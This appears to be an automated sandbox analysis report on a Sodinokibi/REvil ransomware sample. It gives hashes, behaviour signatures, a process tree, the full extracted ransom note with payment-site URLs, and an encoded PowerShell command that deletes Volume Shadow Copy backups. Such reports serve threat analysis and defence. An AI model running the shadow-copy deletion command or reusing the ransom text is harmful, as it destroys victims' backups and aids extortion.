Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    08-09-2024 07:46

General

  • Target

    d3e026324b81c755f9058d7a42e96c75_JaffaCakes118.exe

  • Size

    165KB

  • MD5

    d3e026324b81c755f9058d7a42e96c75

  • SHA1

    35d30a689c4b826e43d9255574fa09965c0a6ba7

  • SHA256

    f7c922293637486c307b6d1f05da1eb686a330c527981e0b0f079602e9cfd3d3

  • SHA512

    e9eb060168da1db8dafac357835ffc2272dc3fdbae31c77d810c188299657c824255cc1f337ac25420c57ebe821a838f4e92e5fdf7778a4a6692e777305b3913

  • SSDEEP

    3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/Na/CUtnBr8rl2a:lw02sJPi7O93NSnBkl

Malware Config

Extracted

Path

C:\Users\fme92-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. CDHFUND. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension fme92. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F04BCE0F12281737 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/F04BCE0F12281737 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: f963x1EimsibPhLjGacvKOx8xAkCGQzhVNOYDaiosZlwAUJsIDuIjU1okvkbqfaP c278D2AEG04yS4WrSdEAf9gONANMsj9ThBgtYr7yiB0dx+de04+k0VqkvttO8UsQ VW6fRHv0IOya9oWLE97vrkDkrzaeaWC7M6gV6YZWpnLuJRsdJqU2EEXHTwGacvRE ZwGnjiOryqdyg5aaDXVc5Uq08VDxBSEp+CUsYIR6X3XgKg/FhkR8MUBGnYC+RkvS LsOd9dml9DbzvShPvz8jDI0FRCO7i9IrXgvvDZVCuXJuhV+WlAFBjarQwHPgV+VJ GpW1zuaUUBFFNRx7NWEqzQ/Fp8ILo3u1nW3v/4PD04KT0eBCdfALQhMck51Xrm8h 6Zr2EjWvauq9qIIfsi8iABD/xmCsI51Shuqzt4lBbpBTzVLQy88+C7DG4TBnWUrz PROs9E+XvLMzvEdj/Lc+p400VKLFqW1sr4G9/fhxGv322quH+89PXMqtLm1XkAq1 ulm4BpiwY7VTZO2weKGTlHXRvLNSoaYLJ+v2LptNFSIj5oQGRu/Z4J+ZMt4sdrVY OIYNbfSqNHu2uAqLxBvyWN8IRLY97Gc0juJbkTyWFkuPi9MFAEYFqimHmr9TP/wO dWIkJYd5FOm2AAPTcpMLBtfh0ADczaisWooi5PTnUa88lAvvi6YE3TqPVXKGdElS +iK5E5NkbvgKf7hpULQ9D6ZkODOGzCxj8vOOnDqU+D819FBJBGNaPIjDZz1ufEym FYzTUp7P7IP22qRz6E0Q0/fsjG9HcM3+4FsWIZTnW4WccjCt4HhRqN3adCcQrZsh RSePIqOuGm9FNgWd9wfqVq9ctWPUth8cjpawKeCANlFYoakqShZC1A106DVCu5hL RD9GcYJ9e61qlkNPwa/sALM5+EgoYa7WvF8DYDX86N8M/bwh/04iFIvUYRD5+h/Q NB2jdGNFq0bt6A+6I/Ioh+fi4jHik0Rk7UZtb7nr3tHbvyj1QmIK+yUk/sq6zqre ljPW49WbYghZlFYlNcVWl9EuflLChCO28cj2IuhDRh2XzLQJ0kG/Qgr7qg6AkCBy j57DXXEHdmCGuJwex6vNsoLzEq0UmYHGnJxVjhaBpvB/EMk2qPUbmnwpwPe+jJKV Q1bZYnWxbBsqlU67qhb2Kw3uHj6K+tvo/6EYGFE3pd4b9zLmygKQTpCiQAyjRK88 5SeQnhVTuwYgyA== Extension name: fme92 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F04BCE0F12281737

http://decryptor.top/F04BCE0F12281737

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 34 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d3e026324b81c755f9058d7a42e96c75_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d3e026324b81c755f9058d7a42e96c75_JaffaCakes118.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1448
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2076
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2812

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\fme92-readme.txt

      Filesize

      6KB

      MD5

      47a9a1c1b5e1993526642a09c15262f1

      SHA1

      bdd66be196310f08f02ee6a44aa0ead0605a4599

      SHA256

      0121310194fa1f6b49e0aaf3ab298c014d3b88995b6e6631fdccec8a2d5b0a2d

      SHA512

      807ff7cefd51053eb4d953f1280cc467794f92f5933ff30114f9580efa841333bb2ac041d44c671166325b0ab6c7739499d51dac23a9b2ff716d02d8680dec41

    • memory/1448-4-0x000007FEF53AE000-0x000007FEF53AF000-memory.dmp

      Filesize

      4KB

    • memory/1448-5-0x000000001B570000-0x000000001B852000-memory.dmp

      Filesize

      2.9MB

    • memory/1448-6-0x0000000002910000-0x0000000002918000-memory.dmp

      Filesize

      32KB

    • memory/1448-7-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1448-8-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1448-9-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1448-10-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1448-11-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1448-12-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

      Filesize

      9.6MB